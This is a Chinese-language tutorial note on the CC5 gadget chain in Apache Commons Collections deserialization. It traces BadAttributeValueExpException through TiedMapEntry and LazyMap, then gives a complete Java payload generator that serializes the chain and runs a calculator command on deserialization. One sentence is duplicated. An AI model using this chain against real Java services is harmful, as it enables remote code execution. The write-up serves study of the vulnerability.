cc5和cc6差不多,主要都是利用TideMapEntry進而利用LazyMap調用get方法,而LazyMap的get方法需要的參數是LazyMap中沒有的值才會觸發LazyMap的transform的put方法。
TiedMapEntry
主要使用的是LazyMap的get方法,那麼在這裡我們可以看到其中getValue,hashCode,equals,toString都可以觸發

那麼下面我們需要尋找一個可以輸入TideMapEntry這個類,并且可以觸發這些函數之一的一個類。
BadAttributeValueExpException
看一下定義,直接看它的readObject方法,
反序列化讀取 val,當 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基礎類型時會調用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的構造。
反序列化讀取 val,當 System.getSecurityManager() == null 或 valObj 是除了 String 的其他基礎類型時會調用 valObj 的 toString() 方法,完成上面 TiedMapEntry 的構造。
那麼我們的構造思路就是:先構造惡意的LazyMap,然後将LazyMap放入TideMapEntry,因為TideMapEntry不是String類型,那麼就會調用toString方法
那麼payload為
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc5 {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "zyer");
BadAttributeValueExpException exception = new BadAttributeValueExpException("zyer");
Field field = BadAttributeValueExpException.class.getDeclaredField("val");
field.setAccessible(true);
field.set(exception, entry);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(exception);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
}